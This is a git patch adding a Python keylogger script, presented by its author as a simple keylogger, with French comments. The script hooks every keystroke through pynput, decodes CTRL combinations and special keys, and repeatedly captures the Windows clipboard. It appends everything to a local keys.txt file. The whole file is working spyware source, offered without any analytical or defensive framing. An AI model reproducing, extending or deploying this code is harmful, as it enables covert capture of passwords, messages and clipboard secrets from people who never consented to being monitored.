From 4b47b0b050d7948aabf8a7385f3044d16703b40c Mon Sep 17 00:00:00 2001 From: ALittlePatate <48603993+ALittlePatate@users.noreply.github.com> Date: Sat, 5 Sep 2020 12:42:59 +0200 Subject: [PATCH] Add files via upload --- keylogger.py | 180 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 180 insertions(+) create mode 100644 keylogger.py diff --git a/keylogger.py b/keylogger.py new file mode 100644 index 0000000..96016c2 --- /dev/null +++ b/keylogger.py @@ -0,0 +1,180 @@ +from pynput.keyboard import Key, Listener +import sys +import win32clipboard +import os + +old_clipboard = " " + +def get_clipboard() : + try : + win32clipboard.OpenClipboard() + data = win32clipboard.GetClipboardData() + win32clipboard.CloseClipboard() + return data + except : + return "0" + +def write_banner() : + #On ouvre/créé le fichier keys.txt + with open("keys.txt", "a") as f : + #On écrit la bannière + f.write("\n") + f.write("#########################################\n") + f.write("# Simple Keylogger By ALittlePatate #\n") + f.write("#########################################\n") + f.close() + +def write_file(key) : + #On ouvre/créé le fichier keys.txt + with open("keys.txt", "a") as f : + + #On regarde si le presse-papier à changé en appelant la fonction get_clipboard() + global old_clipboard + if get_clipboard() != "0" and get_clipboard() != old_clipboard : + f.write("\n") + f.write("\n") + f.write("[+] New clipboard content ! [+]\n") + f.write(str(get_clipboard())) + f.write("\n") + f.write("[+] End of the new clipboard content. [+]\n") + f.write("\n") + old_clipboard = get_clipboard() + + #On regarde si key est un chiffre du pavé numérique + if key == "<96>" : + f.write("0") + elif key == "<97>" : + f.write("1") + elif key == "<98>" : + f.write("2") + elif key == "<99>" : + f.write("3") + elif key == "<100>" : + f.write("4") + elif key == "<101>" : + f.write("5") + elif key == "<102>" : + f.write("6") + elif key == "<103>" : + f.write("7") + elif key == "<104>" : + f.write("8") + elif key == "<105>" : + f.write("9") + + #On regarde si key est une combinaison avec CTRL + elif key == "\\x01" : + f.write("\n CTRL+A\n") + elif key == "\\x1a" : + f.write("\n CTRL+Z\n") + elif key == "\\x05" : + f.write("\n CTRL+E\n") + elif key == "\\x12" : + f.write("\n CTRL+R\n") + elif key == "\\x14" : + f.write("\n CTRL+T\n") + elif key == "\\x19" : + f.write("\n CTRL+Y\n") + elif key == "\\x15" : + f.write("\n CTRL+U\n") + elif key == "\\t" : + f.write("\n CTRL+I\n") + elif key == "\\x0f" : + f.write("\n CTRL+O\n") + elif key == "\\x10" : + f.write("\n CTRL+P\n") + elif key == "\\x11" : + f.write("\n CTRL+Q\n") + elif key == "\\x13" : + f.write("\n CTRL+S\n") + elif key == "\\x04" : + f.write("\n CTRL+D\n") + elif key == "\\x06" : + f.write("\n CTRL+F\n") + elif key == "\\x07" : + f.write("\n CTRL+G\n") + elif key == "\\x08" : + f.write("\n CTRL+H\n") + elif key == "\\n" : + f.write("\n CTRL+J\n") + elif key == "\\x0b" : + f.write("\n CTRL+K\n") + elif key == "\\x0c" : + f.write("\n CTRL+L\n") + elif key == "\\r" : + f.write("\n CTRL+M\n") + elif key == "\\x17" : + f.write("\n CTRL+W\n") + elif key == "\\x18" : + f.write("\n CTRL+X\n") + elif key == "\\x03" : + f.write("\n CTRL+C\n") + elif key == "\\x16" : + f.write("\n CTRL+V\n") + elif key == "\\x02" : + f.write("\n CTRL+B\n") + elif key == "\\x0e" : + f.write("\n CTRL+N\n") + + #On regarde si key est un espace, un retour à la ligne ou ce genre de trucs + elif key == "Key.space" : + f.write(" ") + elif key == "Key.enter" : + f.write("\n") + elif key == "Key.backspace" : + f.write(" [BACKSPACE] ") + elif key == "Key.shift" or key == "Key.shift_r" : + pass + elif key == "Key.ctrl_l" or key == "Key.ctrl_r" : + pass + elif key == "Key.caps_lock" : + pass + elif key == "Key.num_lock" : + pass + elif key == "Key.alt_r" or key == "Key.alt_l" : + pass + elif key == "Key.tab" : + f.write("\n[TAB]\n") + elif key == "Key.up" : + f.write("\nUp\n") + elif key == "Key.down" : + f.write("\nDown\n") + elif key == "Key.left" : + f.write("\nLeft\n") + elif key == "Key.right" : + f.write("\nRight\n") + + #On regarde si key est une touche qui doit être écrite en UTF-8 + elif key in messed_up_keys : + f.write(str(key.encode('UTF-8'))) + + #Si aucun des tests ne sont positifs, on écrit la variable key dans le fichier keys.txt + else : + f.write(key) + +def on_press(key) : + #On garde juste le nom de la touche, et on supprime les " " et les [ ] + key = str(key) + key = key.replace("'", "") + if key == '""' : + key = "'" + key = key.replace("[", "") + if key == "" : + key = "[" + key = key.replace("]", "") + if key == "" : + key = "]" + print(key) + + #On écrit la touche dans le fichier keys.txt + write_file(key) + +#On fait la liste des caractères non supportés par windows +messed_up_keys = ["é", "è", "à", "°", "^", "¨", "£", "¤", "ù", "µ"] + +#On écrit la bannière dans le fichier keys.txt +write_banner() + +#On capture les appuis de touches +with Listener(on_press=on_press) as listener : + listener.join() \ No newline at end of file